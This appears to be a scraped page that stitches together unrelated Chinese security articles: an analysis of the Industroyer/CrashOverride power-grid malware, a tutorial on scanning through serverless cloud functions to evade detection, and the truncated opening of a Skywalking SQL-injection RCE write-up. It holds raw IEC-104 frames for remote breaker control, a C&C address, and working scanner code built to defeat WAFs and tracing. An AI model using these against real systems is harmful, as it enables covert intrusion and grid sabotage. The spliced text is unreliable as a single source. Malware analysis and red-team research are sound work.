`OPC.exe/OPCClientDemo.dll` 模块等。以下我们列出了可以收到的样本及其功能。
值得注意的是，Main Backdoor 与 C&C 通信的时候是通过内网中的一台主机作为跳板连接到 C&C 上实施命令控制的，ESET 发现该模块是通过
Tor 网络实现与 C&C 的交互。因此根据目前所掌握的信息我们绘制了该恶意软件大致工作流程。
从恶意软件的攻击流程中我们可以推测该黑客可能的攻击路径：首先黑客可以通过电子邮件、办公网系统、外来运维终端、U盘等途径成功入侵一台主机(如：内网的10.15.1.69)，并且在该主机联网时下载必要的模块执行比如
Tor
网络客户端或者代理服务模块等作为后续攻击的回连跳板，黑客接下来以该主机为跳板对系统局域网络进行探测扫描，当发现自己感兴趣的目标(是否为104从站、OPC服务器或者操作站等)后对其实施攻击，一旦攻击成功，黑客就将这台可以连接外网的主机
IP 配置为攻击模块 Main Backdoor 的代理IP，下发到该主机中，这台主机是可以直接与 RTUs 或者 PLCs
进行通信的，并且可以做直接的控制。
#### 三、详细分析描述
###### 1\. Main Backdoor 模块分析
该模块主要用于实现与攻击者 C&C 通信,
由于工控系统内部的控制主机可能处于无法连接外网的内部局域网络中，所以黑客事先在进入被感染系统之前已经非常清楚该工控系统内部的网络结构，在入侵的跳板主机上安装了
Tor 客户端以及代理服务（代理服务开启3128端口接收数据进行转发）。并且在进行内部网络攻击过程中，黑客将根据该跳板机的 IP 来定制化相应的 Main
Backdoor 程序下发到目标机上运行。因此，可以说该模块是在黑客攻击过程中实时根据黑客当前所掌握的资源信息进行定制的。
该模块的通信部分也是通过一个小时为单位的时间定制化任务来执行。也就是说，在黑客实时攻击过程中也是有可能的通过这个定制化功能在指定的时间里与 C&C
通信，比如深夜时间。如下图：
此外，该模块会创建一个匿名的互斥体，并且会在路径 %Common Documents% 的父目录创建一个标识文件 imapi
，只有这个文件存在的情况下才会执行与 C&C 通信的任务。
Main Backdoor 模块连接 C&C 是通过跳板机(10.15.1.69)来实现与 C&C 5.39.218.152 通信的，通信的端口为 443
端口，据 ESET 报告，与 C&C 通信的数据采用了 HTTPS 。
目前我们无法证实该情况，因为后门采用 443 端口通信但实际不为 HTTPS 的情况非常多。但是可以确定的是 Main Backdoor
与跳板机之间的通信是明文的。通信数据内容如下：
该后门收到控制命令数据后，会对数据做一定处理，最后创建一个线程来处理黑客端发来的控制请求。
其中，控制命令的前4个字节为命令 ID，接下来是单字节的控制命令，其值为 0-0xA
整形值，控制命令的控制命令参数位于第16个字节的偏移之后。控制命令分发以及处理功能代码如下：
其中控制命令以及相应的功能说明如下表所示：
从控制功能上可以看出该后门模块的主要任务是从C&C下载扩展模块执行以及做远程命令执行，并且提供了由账户凭证支持的权限控制。如果黑客获取了管理员权限就可以将已安装的后门升级到一个更高的权限版本，黑客可以选择一个现有的、非关键的
Windows 服务，在注册表中替换它的 ImagePath 键值为新后门的代码路径。
###### 2\. Launcher模块分析
该模块为 Main Backdoor 下载的众多模块之一，其实际上为黑客的进一步攻击提供一个统一的攻击接口，可以说是专门为运行 payload
模块而设计的。该模块在系统中以服务程序运行，运行时会创建一个定时器。定时器触发时该模块会创建新线程加载 hasio.dat 模块并调用 hasio.dat
模块的 Crash 函数（关于hasio.），并且执行 payload 模块的 Crash
函数。通过启动器模块，恶意代码可以在指定的时间根据命令行运行任意的 payload 。
该模块接受3个参数，格式为: %LAUNCHER%.exe %WORKING_DIRECTORY% %PAYLOAD%.dll
%CONFIGURATION%.ini。 参数以及解释如下：
当模块启动运行时会将 workdirectory 设置为当前目录，然后加载 payload 模块。需要注意的是，此时加载 Payload
模块但是并没有执行模块的核心功能，这些功能实现在 Payload 模块的导出函数 `Crash()` 中，所以通过该 Launcher 运行的
Payload 模块都必须导出这么一个函数。
这个导出函数是通过定时器控制执行，定时器的触发时间为2016年12月17日22点。
历史上，乌克兰电力系统遭受了两次恶意网络攻击而引起的停电事故，其中一次便是2015年12月23号由恶意代码 BlackEnergy
攻击而导致大规模停电事故，第二次是在2016年12月17日遭受到未知恶意攻击而导致30分钟的停电事故。因而该恶意软件极有可能是第二次乌克兰停电事故的罪魁祸首。
###### 3\. 数据清除模块：haslo 模块分析
该模块为该恶意软件的数据擦除模块，与 KillDisk.DLL
模块具有类似的破坏性目的，它会删除注册表中服务对应的模块路径，并对磁盘上的文件进行改写，该模块对应的文件名为 `haslo.dat` 或
`haslo.exe` ，其中 `haslo.dat` 随启动器模块执行，`haslo.exe`
可以作为单独工具执行。当该模块运行时会枚举`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services`下的所有键，并设置该键的
ImagePath 为空，该操作会造成系统无法正常启动。
清理完注册表后，该模块会开始擦除文件，首先该模块枚举驱动器从C盘到Z盘中包含指定扩展名的文件，对发现的文件进行改写。其中会避免对 Windows
目录文件的改写。需要注意的是，在枚举的过程中该组件跳过了子路径中名称包含 Windows
的文件。该组件用从新分配内存中获得的随机数据来重写文件内容。为了达到彻底擦除数据使其无法恢复的目的，该组件会尝试重写两次。第一次是当文件在驱动器盘中被发现，如果第一次没有成功，该组件会尝试第二次。但是在此之前，该恶意软件会终止除了包含在关键系统列表中的所有进程。
该模块需要擦除的文件类型有：
此外，该擦除模块还存在一个白名单的进程列表，为了防止意外发生，其不会对这些进程进行强制关闭的操作。擦除模块内置的白名单进程列表如下。
###### 4\. 104.dll 模块分析
该模块实现了 IEC-104 规约中定义的协议，首先该模块读取配置文件，并根据配置文件中的指令进行指定操作。由于该模块主要实现了 IEC-104
的协议通信，所以有必要对 IEC-104 协议的格式和规约做一些背景介绍。
IEC-104 规约是厂站与调度主站间通讯的规约，以以太网为载体，采用平衡传输，TCP/IP 网络通信端口号为2404。IEC-104 规约以 0x68
为启动字符，紧接 APDU 长度和4个8位控制域，之后是用户数据。
名称解释：
* APDU:应用规约数据单元
* APCI:应用规约控制信息
* ASDU:应用服务数据单元
启动字符
0x68 定义了数据流中的起点，APDU 的长度域定义了 APDU 体的长度，它包括 APCI 的四个控制域八位位组和 ASDU
，控制域定义了保护报文不至丢失和重复传送的控制信息、报文传输启动/停止、以及传输连接的监视等控制信息。
IEC-104规约帧分为三种类型：
a)可计数的信息传输功能的帧，简称I帧或者I格式帧。 b)可计数的确认功能的帧，简称S帧或者S格式帧。 c)启动、停止、测试功能的帧，简称U帧或者U格式帧。
I格式帧常常包含 APCI 和 ASDU 两个部分，其控制域第一个八位组的比特1=0，I帧包含特定信息，类型和内容较多。
S格式的帧只有 APCI，其控制域第一个八位组的比特 1=1 并且比特 2=0 。用于确认接收到对方的帧，但本身没有信息发送的情况。
U格式的帧也只有 APCI，其控制域第一个八位组的比特 1=1 并且比特 2=1 ，U帧仅有三种类型：启动帧、测试帧、停止帧。
IEC 60870-5-3 描述了远动系统传输帧中的基本应用数据单元，并定义了用于配套标准中的应用服务数据单元(ASDU)结构如图：
应用服务数据单元(ASDU)由数据单元标识符和一个或多个信息对象组成。类型标识定义了后续信息对象的结构、类型和格式。可变结构限定词定义了信息元素的数目和信息体地址类型，长度为一个字节。公共体地址即为
RTU 地址，长度2个字节，低位在前。
主站发送的类型标识列表：
从站返回信息帧的类型标识列表：
主站发送的传输原因：
从站发送的传输原因：
对该协议有一定了解后，我们继续对该模块做进一步分析。当该模块的 Crash 函数被 Launcher 加载运行时，会将配置文件读入到内存（配置文件由参数
Crash 参数指定）读取到内存的配置参数。
下表是配置文件中各域解释：
该模块首先会读取 `stop_comm_service` 域并判定其是否为1，如果为1，则结束 `stop_comm_service_name`
域所指定的进程。
执行完以上操作后，该模块会根据 IEC-104 规约构造数据包向配置文件中指定的目标主机IP端口发送启动帧。构造启动帧数据包代码如下：
该恶意模块（主站）连接从站(RTUs)，并构造启动帧发送给从站(RTUs)。
恶意模块(主站)发送U帧启动帧：
从站（RTUs）会返回一个U帧确认帧：
当成功获取到从站（RTUs）返回的确认帧后，该模块会根据配置文件中 operation 域提供的操作方法操作RTU。
当前 operation 域支持三种方式，分别为range、sequence、shift。
range 模式即为攻击者指定信息对象地址范围，主站读取配置文件中 range
域填充攻击者指定的信息对象地址向从站发送单点遥控选择信息，从站（RTUs）返回单点遥控确认信息，然后恶意模块(主站)向从站（RTUs）发送单点遥控执行请求，根据返回的信息确认信息对象地址。当得到正确的信息对象地址后，该模块会循环向从站发送单点遥控选择及单点遥控确认请求。
构造单点遥控选择数据包：
恶意模块(主站)发送的数据为：
68（`启动符`）0E（`长度`）00 00（`发送序号`）00 00（`接收序号`）2D（`类型标示`）01（`可变结构限定词`）06
00（`传输原因`）00 00（`公共地址即RTU地址`）0A 00 00（`信息体地址`）81（`遥控性质`）
当前类型标识为0x2d传输原因为0x06表示主站发送单点遥控，其中遥控性质为0x81表示向从站发送单点遥控选择
从站（RTUs）返回数据，
68（`启动符`）0E（`长度`）00 00（`发送序号`）02 00（`接收序号`）2D（`类型标示`）01（`可变结构限定词`）07
00（`传输原因`）01 00（`公共地址即RTU地址`）0A 00 00（`信息体地址`）81（`遥控性质`）
当前类型标识为0x2d传输原因为0x07标识从站发送单点确认
恶意模块(主站)发送单点遥控执行合闸
68（`启动符`）0E（`长度`）02 00（`发送序号`）02 00（`接收序号`）2D（`类型标示`）01（`可变结构限定词`）06
00（`传输原因`）00 00（`公共地址即RTU地址`）0A 00 00（`信息体地址`）01（`遥控性质`）
注释
遥控性质字段解释：
`bit7` 为1表示选择，等于0标识执行
`bit1` `bit0` 为01表示合闸，为00表示分闸
`bit65432` 为1表示短脉冲，为2表示长脉冲，为3表示持续。
sequence 模式为当攻击者知道从站的信息对象地址值时，根据配置文件中的攻击指令，向从站（RTUs）循环发送单点遥控选择及单点遥控执行请求。
shift 模式与 range 模式类似，首先会枚举 range 域指定的信息对象地址范围，完成后，会通过 shift 域生成新的信息对象地址范围进行与
range 模式相同的操作。
当配置文件中的silence域为1时会开启命令行输出。
启动帧与确认帧：
单点遥控选择与确认：
单点遥控执行请求：
#### 四、其他模块功能说明
该恶意软件在攻击过程中可以下发任何可能的攻击模块，根据 ESET
的报告，我们将其他的攻击模块以及其核心功能归纳如下（以下内容根据ESET的报告编译总结而成）：
###### 1\. 101
这个 payload DLL 名为 101.dll ，以 IEC 101(即IEC 60870-5-101)
命名，这也是一种国际标准的用于监控和控制电力系统的协议。该协议常用于工业控制系统和远程终端单元（RTUs）之间的通信。实际通信是通过串行连接传输的。
101 payload 组件在一定程度上实现了 IEC 101 标准中所描述的协议，并且能够与 RTU 或者任何支持该协议的设备进行通信。一旦被执行，101
payload 组件解析存储在 ini 文件中的配置信息，配置信息可能包含：进程名、Windows 设备名称（通常是 COM
端口）、信息对象地址（IOA）的范围、以及IOA指定范围的开始和结束值。IOA 是一个数字，用于标识设备中一个特定的数据元素。
进程的名字被指定在配置文件中，该名字属于运行在受害者机器上的应用程序。该应用程序通过串行连接和 RTU通信。101 payload
试图终止指定的进程，并且开始使用 CreateFile、WriteFile 和 ReadFile 这些Windows API
函数和指定的设备通信。配置文件中的第一个 COM 口用于实际通信，另外两个端口用于防止其他进程访问。这样，101 组件能够接管和维护 RTU 设备的控制。
这个组件遍历所有被定义的 IOA
范围内的IOA。对于每一个IOA，构造两个“选择和执行”包，一个单命令（C_SC_NA_1）一个双命令（C_DC_NA_1），并且将它们发送到RTU设备。组件的主要目标是改变单命令类型IOA的开/关状态和双命令类型的IOA的开/关状态。具体来说，101
payload有三个阶段：在第一阶段，这个组件试图将IOA切换到它们的Off状态；第二阶段试图将IOA转换为On；最后阶段再将IOA状态切换回Off。
###### 2\. 61850 模块
与 101 和 104 payload 不同的是，61850 payload 是一个独立的恶意工具。它包含一个名字为 61850.exe
的可执行文件和一个名字为 DLL 61850.dll 的动态链接库。它们以 IEC 61850
标准来命名。该标准描述了用于实现变电站自动化系统保护、自动化测量、监控和控制的设备之间的多厂商通信协议。该协议非常复杂和健壮，而61850只是使用了该协议中一小部分来产生破坏性影响。
一旦被执行，61850 payload DLL 就会尝试读取配置文件，该配置文件路径由启动器组件提供。独立版本默认从 fromi.ini
文件读取它的配置文件。该配置文件包含一组设备的IP地址列表，这些设备通过IEC 61850描述的协议进行通信。
如果配置文件不存在，该组件枚举所有的网络适配器来确定它们的 TCP/IP 子网掩码。然后，61850
payload枚举每一个子网掩码下所有可能的IP地址，接着尝试连接每一 IP 地址的 102 端口。因此，该组件有能力在网络中自动发现相关设备。
相反，如果配置文件存在，并包含目标IP地址，该组件会连接该IP地址的102端口。并且这些IP地址也是被自动发现的。
一旦该组件连接到目标主机，它就会使用面向连接的传输协议发送连接请求包，如果目标设备有效回应，61850使用制造消息规范（MMS）发送初始请求包。如果收到预期的回应，则继续发送一个MMS名称列表请求。因此该组件在虚拟制造设备（VMD）中编译对象名称列表。接下来，该组件枚举了前面步骤中发现的对象，用每一对象名发送设备特定域对象列表请求，在一个特定域中枚举命名变量。
之后，从 61850 payload 这些请求的响应数据中搜索 包含以下字符串组合的变量：
* CSW, CF, Pos, and Model
* CSW, ST, Pos, and stVal
* CSW, CO, Pos, Oper, but not $T
* CSW, CO, Pos, SBO, but not $T
字符串“CSW”是用于控制断路器和开关的逻辑节点的名称。
61850 payload为一些包含“Model“或”stVal“字符串的变量发送额外的MMS读取请求。该组件还可以发出一个可以改变其状态的MMS写请求。
61850 payload产生一个日志文件，它的操作包含IP地址、MMS域、命名变量和目标节点的状态（打开或关闭）。
###### 3\. OPC DA payload 组件
OPC DA payload 组件为 OPC 数据协议实现了客户端。访问规范 OPC（进程控制OLE）是一种基于微软技术的软件标准和规范。例如
OLE、COM和DCOM 。OPC 规范中的数据访问（DA）部分允许基于客户端-服务器模型的分布式组件之间的实时数据交换。该组件为独立的恶意工具，包含
OPC.exeh 和一个 DLL 。该组件同时实现了 61850 和 OPC DA payload 功能。该DLL在PE的导出表中被命名为
OPCClientDemo.dll ，表面该组件的代码可能是基于开源项目 OPC 客户端。
一旦被攻击者执行，OPC DA payload不需要任何配置文件。它会用 ICatInformation 枚举所有的 OPC 服务器。接下来该组件使用
IOPCBrowseServerAddressSpace 接口来枚举服务器上的所有 OPC 项目。特别是寻找包含下列字符串的项。
* ctlSelOn
* ctlOperOn
* ctlSelOff
* ctlOperOff
* \Pos and stVal
这些项目的名称表明攻击者对属于 ABB 解决方案的 OPC 服务器提供的 OPC 项非常感兴趣。攻击者在添加新的OPC组时使用字符串
“Abdul”，可能这个字符串被攻击者用作俚语，指的是 ABB 解决方案。
在最后一步，OPC DA payload 尝试使用 IOPCSyncIO 接口，写两次 ox01 值来改变已发现 OPC 项的状态。
该组件写 OPC 服务器名称、OPC 项状态、质量码和值到日志文件。日志值被下面的头所分割：
* [*ServerName: %SERVERNAME%] [State: Before]
* [*ServerName: %SERVERNAME%] [State: After ON]
* [*ServerName: %SERVERNAME%] [State: After OFF]
###### 4\. 辅助后门组件
ESET 还发现另外一个具有后门功能的恶意组件，这个恶意组件提供了另一种持久性机制，允许攻击者重新访问目标网络，以防主后门被检测到/或禁用。这个后门是一个
Windows
记事本应用的木马版本，它拥有记事本的完整功能。但是，恶意软件的作者已经插入了恶意代码，每次记事本启动，恶意代码都有被执行。一旦攻击者获得管理员权限，他们就会手动替换掉合法的记事本。
插入的恶意代码被严重混淆，但是，一旦代码解密，它连接到一个远程 C&C 服务器（这个服务器不同于主后门所连接的），下载一个 payload ，这个
payload 是一个 shellcode 形式的恶意代码，它直接被加载到内存执行。此外，插入的代码解密存储在文件末尾的原始 Windows
记事本，然后再执行该记事本，这样记事本程序就像预期那样工作。
###### 5\. 端口扫描器
攻击者的武器库包含一个端口扫描器，其可以被用来在网络中找到攻击相关的计算机。有趣的是，攻击者并没有使用外部软件，而是使用自己编写的端口扫描工具，攻击者可以定义用于扫描工具扫描的一系列
IP 地址和端口。
###### 6\. DoS工具
攻击者武器库中的另一工具是拒绝服务（DoS）工具，可以用来对付西门子 SIPROTEC 设备，该工具利用了 CVE-2015-5374
漏洞，目标是使设备无法响应。一旦漏洞被成功利用，目标机器将会停止任何命令响应，直到手动重启。
为了利用这个漏洞，攻击者将设备 IP 地址硬编码到该工具中。一旦工具被执行，就会使用 UDP 协议发送特定的精心设计的数据包到目标 IP 地址的 50000
端口。该 UDP 数据包包含18字节。
**参考文章：**
1\. [WIN32/INDUSTROYER A new threat for industrial control systerms Anton
Cherepanov, ESET Version 2017-06-12](https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf)
2.[CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations DRAGOS INC
version 2.2017061](https://dragos.com/blog/crashoverride/CrashOverride-01.pdf)
3.IEC870-05-104-传输规约-国电
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# Serverless扫描技术研究及应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
大家好，我是风起，本次给大家分享的是 **Serverless扫描技术** 也是我在SecTime沙龙演讲时讲到的一种隐匿扫描技术，通过
**Serverless（云函数）**
实现各种扫描器探测功能，以达到绕过态势感知、WAF等安全设备，增大蓝队研判人员溯源难度，实现封无可封，查无可查的效果。希望大家通过阅读本文能够有所收获，那么下面由我来给大家揭秘这个有趣的攻击方式吧。
## Serverless目录扫描实现
首先创建一个云函数，这里以腾讯云举例。
然后选择自定义创建，运行环境选择python3.6，函数名随意，地域则随便选一个即可，会随机分配该地域下的IP作为我们的出口IP地址，配置与云函数上线CS的方式相同。
云函数代码为以下，无论是云函数还是域前置或者反向代理等手段，本质都是流量转发，所以我们在云函数上编写的核心代码就是实现了单次扫描返回信息的功能，剩下的控制代码则由我们本地编写的代码执行。
# -*- coding: utf8 -*- import requests
def main_handler(event, context):
headers=event["headers"]
url=event["queryString"]["url"]
path = event["queryString"]["path"]
crake_url=str(url+path)
try:
r = requests.get(crake_url,timeout=5,headers=headers,verify=False)
status = r.status_code
except Exception:
status = None
pass
return status,crake_url
配置好云函数代码后，继续进入 **触发管理** 选项。
触发器配置如图所示，注意取消勾选集成响应。
编辑API配置中，将路径设置为 **/** ，然后点击 **立即完成**
然后得到了两个API网关的公网域名，这时我们就已经完成了基本配置。可以通过这两个公网域名实现对我们上面编写的云函数功能的触发实现。
这里进一步编写一个简单的Demo，在本地实现了一个目录扫描的功能，通过对获取的公网地址传参，实现以云函数服务对指定站点目录扫描，这里我传递了要扫描的url地址以及字典，代码如下：
在我们本地执行代码进行扫描，会得到响应给我们并输出扫描结果。
通过微步情报可以发现确为，腾讯云—广州的IDC服务器
但是大家注意看 **Apache access.log日志中** header头中的User-Agent为python-requests/2.26.0，存在了很明显的特征，这时我们继续修改本地控制代码。
我们创建一个 get_ua-header.py文件，其中创建了一个UA数组，存放了大量不同的User-Agent。
这里导入我们刚才创建的UA数组，然后在第二个箭头所指处设置header的User-Agent每次都随机获取UA数组中的值，再在发送请求中指定header，当然这里仅为了演示，如果真实场景下，可以将header头自定义设置更多选项让它看起来更像是一个合法的请求。
这里云函数中获取到了我们本地请求API网关域名的headers然后在转发时将它的header替换为我们本地请求包中的header从而实现了自定义header的效果，修改后的扫描情形如下图所示：
发现在Apache日志中，User-Agent已经为我们本地请求的随机信息，那么通过继续自定义本地控制代码中的header信息让他看起来更加合理，就可以实现更加隐匿的扫描啦。
继续我们重复上面的操作，创建一个一模一样的云函数，API网关也为相同配置，但是需要注意的是选择的地域要为不同的地方，因为
**单个用户在某个地域只能有5个随机出口IP**
，也就是说如果这五个IP均被封禁了那么我们的扫描就无法继续进行了，但是攻防本身就是对等的，那么有什么办法能够绕过呢？
我们增加了两个一模一样的云函数配置，仅为选择的地域不同，也是为了绕过上面这一限制，修改我们的代码添加另一个API网关域名地址对字典进行分工扫描，两个云函数分别截取字典的部分内容进行扫描，这里我选择的地域是广州和上海，然后开始目录扫描。
现在继续查看access.log日志，发现多出了一些上海的IP地址，是不是更加迷惑了呢？而在目标业务系统中每天面对大量的请求使用中，以往的排查溯源思路都是过滤频繁访问或者进行可疑操作的IP地址，但是对于这种情况，通常会被一些正常的请求混杂其中，防守方进行日志审计时往往就会认为这些是正常的HTTP请求。
关于这里分批扫描的实现思路在 **拓展延伸** 会继续深入讲解。
## Serverless端口扫描实现
然后我们继续来实现端口扫描器的实现，云函数的配置及API网关配置这里就不多做赘述了，与上面讲到的一样，这里我们仅关注云函数代码和本地控制代码的实现。
云函数代码如下：
# -*- coding: utf8 -*- from socket import *
def main_handler(event, context):
IP=event["queryString"]["ip"]
port=event["queryString"]["port"]
try:
conn=socket(AF_INET,SOCK_STREAM)
res=conn.connect_ex((str(IP),int(port)))
conn.send('Hello,World!'.encode("utf8"))
results=conn.recv(25)
if res==0:
conn.close()
return port
except Exception as err:
print(err)
finally:
print("")
conn.close()
return None
同样这里云函数仅需要实现简单的单次端口扫描，我们的控制代码如下：
可以看到，这里同样应用了上面的讲到的分批扫描，如果说上面讲到的是通过对字典中的路径区分使用两个不同的云函数API网关域名，那么这里的端口扫描则为通过端口来区分。
因为端口扫描会慢一些，所以这里我使用了协程的方式，扫描速度会更快，使用了grequests模块。
这里执行一下本地扫描脚本，成功的得到了目标主机端口的开放情况，但这不是重点。
这里使用Hfish来展示态势感知中的端口扫描情况
可以看到，对这些端口扫描的IP均为腾讯云的随机IP，是不是无从下手呢？
通过Kunyu对这些IP进行批量查询发现，发现所在地均为中国上海和成都两地，也证实了攻击IP为我们云函数的出口IP地址，并且这些数据的Time时间均比较早，而在威胁情报中看到这些IP为IDC服务器，也辅助说明了这些IP为已经回收目前应用于云函数进行请求的云服务器的IP地址，这里的时间因素也是我们后续判断溯源这种攻击方式的关键所在。
欢迎大家来了解一下Kunyu，是一个很好用的空间测绘数据分析工具，其中亮点满满哦~
非常适合大家在红蓝对抗的工作中进行信息收集或者溯源等工作，不同于其他工具的是，Kunyu的设计更贴合数据分析的工作而不仅仅只是IP导出。
**下载地址：<https://github.com/knownsec/Kunyu>**
## 拓展延伸
上面讲到了 **单个用户在某个地域只能有5个随机出口IP**
那么在更大流量的扫描下，单次如果仅仅只是5个扫描的IP地址，依旧非常容易被排查出来从而封禁IP。那么为了解决这一问题，我们可以通过分批次的方式进行扫描，如果是端口扫描，我们就可以创建多个云函数且为不同地域分工扫描不同端口，在态势感知来看就是这n*5个IP地址在进行扫描，也就解决了单个地域只能有5个IP的窘境。
同样进一步思考，我们也可以在相同的云函数下创建多个地域的云函数，再创建其他厂商的云函数，实现了IP地址的多元化，在这个基础上再创建不同地域，理论上可以这样一直叠加，实现单兵大流量扫描。
对于大集团目标，通常每天态势感知都会有很大的扫描流量，那么在这种情况下，如果给我们的云函数扫描再加上一定程度的随机延时扫描，那么在态势列表中看到的就是一堆不连续的单次请求，如果是目录扫描则会直接认为是正常的请求，因为IP的随机性以及请求包的合法性、不连续性根本无法联想这是一次扫描事件，更不要谈溯源的问题了，根本无法还原攻击链，这样的攻击只会比C2隐匿反弹更难缠。
整个实现过程思维导图如下：
各位小伙伴也可以在我所讲的基础上，更进一步将请求包完善的尽量合理化，这样面对防火墙等设备，面对大量的IP扫描也无法通过IP频繁请求的方式从而封禁IP，导致封无可封，更别谈溯源的问题了。而本地的控制代码可以帮助我们更好的对整个扫描进行控制处理，让整个扫描更加个性化，云函数代码只进行单次流量转发扫描，而本地代码则负责了通过什么样的方式扫描的问题。
但是面向蓝队成员来讲也不需要太过恐慌，毕竟有攻就有防，针对这种扫描，如果找出可疑流量直接封禁IP即可，这种情况下就会导致红队扫描结果的不准确，某个IP被封禁了，那么他的后续通过这个IP的请求都将扫描失败。
再退到红队的角度，面对上面的应对方式，我们可以通过思维导图中讲到的分工扫描，多个云函数交替重复相同的扫描任务防止封禁，这样某个IP被封禁也不用怕扫描的失效，当然一般来讲封禁IP也都是扫描结束后的事情了，通常防守方根本没那么快的响应速度。
我一直认为攻防对抗双方是对等的立场，各自都有自己的优势，而如何利用自身的这种优势实现目标就是需要思考的问题了，在检验企业安全的同时也在磨练技术人员的技术水平，这也是红蓝对抗的意义所在。所以大家在思考攻击或者防守问题时一定要站在对立的角度去想，思考对方的应对手段才能找到问题的突破点。
上面提到的代码均已上传至Github，感兴趣的师傅可以自行下载，也可以自己编写。
**下载地址：<https://github.com/wikiZ/ServerlessScan>**
## 后记
回忆一下2021年11月份，我平均每周都会进行一次演讲活动，或为团队分享、内部分享、沙龙分享，也很感谢各位小伙伴的支持。我觉得在这种分享的场景下，是非常提升交流沟通能力的。在与运营小姐姐的对接，预演等工作以及准备PPT，构思怎么去把自己所学的更好的讲出来，能够让别人接受，这些都是以往我没有去想过做过的事情，我觉得人也正是在每一次这种经历下不断成长起来的，我也深知自己能力不足，所以始终不敢懈怠。
时至今日，Kunyu有了很多Title，补天白帽大会年度最佳兵器奖，404星链计划，Kcon兵器谱等，也很感谢大家的支持，我也没有想到当初无心去做的一件事情能够得到那么多人的支持，我也会坚持更新听取大家的需求，去更好的完善Kunyu，看到国内的师傅们甚至国外的从业者的关注我觉得真的是一件非常有成就感的事情。
至于风起这一ID，最初的取义是来自 **风起于青萍之末**
作为灵感。因为我也并非科班出身，所以ID的取义也是希望自己能够在不断的积累中逐渐壮大，真正的大风起兮，当然距离这一目标还有非常远的路要走哈哈哈。
回想一下2021年，我共输出了8篇文章，这个数量其实是不多的，但是我始终坚持输出我认为有用的知识点，哪怕几个月输出一篇，我也坚持不去制造一些重复性的工作，每篇文章都会带入自己的一些想法给大家。我觉得如果写文章变成了为了写文章而去写那么就失去了它的意义所在，所以我一直坚持在安全文章平台去写，看到一些公众号付费的文章也只能付诸一笑，我赞同知识付费，但是就我个人而言，能够让更多的人看到我的文章有所收获了解到风起，远比利益本身重要得多，所以我也会继续坚持这一理念，坚持输出，继续进步。
也许因为这是本年度最后一篇文章，所以在后记讲的多了一些，也希望大家理解，在这里感谢大家在这一年度对我的支持，祝大家心想事成，美梦成真。
想要交流涉网案件、红队攻防技术的师傅可以联系我，平常我也非常喜欢交朋友。
加成券.jpg | 社区文章 |
**作者：kejaly@白帽汇安全研究院
校对：r4v3zn@白帽汇安全研究院**
## 前言
Apache Skywalking
是分布式系统的应用程序性能监视工具，特别是为微服务，云原生和基于容器（Docker，Kubernetes，Mesos）的体系结构而设计的。
近日，Apache Skywalking 官方发布安全更新，修复了 Apache Skywalking 远程代码执行漏洞。
Skywalking
历史上存在两次SQL注入漏洞，CVE-2020-9483、CVE-2020-13921。此次漏洞（Skywalking小于v8.4.0）是由于之前两次SQL注入漏洞修复并不完善，仍存在一处SQL注入漏洞。结合
h2 数据库（默认的数据库），可以导致 RCE 。
## 环境搭建
idea调式环境搭建：
<https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7>
<https://github.com/apache/skywalking/blob/master/docs/en/guides/How-to-build.md#build-from-github>
下载地址skywalking v8.3.0版本：
<https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz>
然后按照官方的直接使用：
./mvnw compile -Dmaven.test.skip=true
然后在 OAPServerStartUp.java main() 函数运行启动 OAPServer，skywalking-ui 目录运行 npm run
serve 启动前台服务，访问 <http://localhost:8081>，就搭建起了整个环境。
但是在 RCE 的时候，用 idea 来启动项目 classpath 会有坑（因为 idea 会自动修改 classpath，导致一直 RCE
不成功），所以最后在 RCE 的时候使用官网提供的 distribution 中的 starup.bat 来启动。
下载地址： <https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz>
## 准备知识
### GraphQL基础
exp 需要通过 GraphQL语句来构造，所以需要掌握 GraphQL 的基本知识
[GraphQL 查询语法](https://graphql.cn/learn/queries/)
springboot 和 GraphQL 的整合 可以查看下面这个系列的四篇文章：
[GraphQL的探索之路 –
一种为你的API而生的查询语言篇一](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535043&idx=1&sn=1044f088d88a37230fdcf546e29c0409&chksm=843bb7d2b34c3ec426e667e354729974c8902d5d8d355bf5aae4f45c705831fe738f4f76f895&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL篇二](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535068&idx=1&sn=3efc4d37f8dd00f1fb3e93b4255fc7a6&chksm=843bb7cdb34c3edb1611c4ed823f7e35335a5e277009f920a4c18fd4c69d968250d7b3cbaf0b&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Query篇三](https://zhuanlan.zhihu.com/p/210471003)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Mutation篇四](https://blog.csdn.net/linxingliang/article/details/108488730)
简单言之就是在 .graphqls 文件中定义服务，然后编写实现 **GraphQLQueryResolver** 的类里面定义服务名相同的方法，这样
GraphQL 的服务就和 具体的 java 方法对应起来了。
比如 这次漏洞 涉及的 queryLogs 服务：
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\log.graphqls:
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
:
### skywalking中graphql对应关系
skywalking 中 GraphQL 涉及到的 service 层 ，Resolver ， graphqls ，以及 Dao 的位置如下， 以
alarm.graphqls 为例：
Service 层：
oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\AlarmQueryService.java
实现 Resolver 接口层：
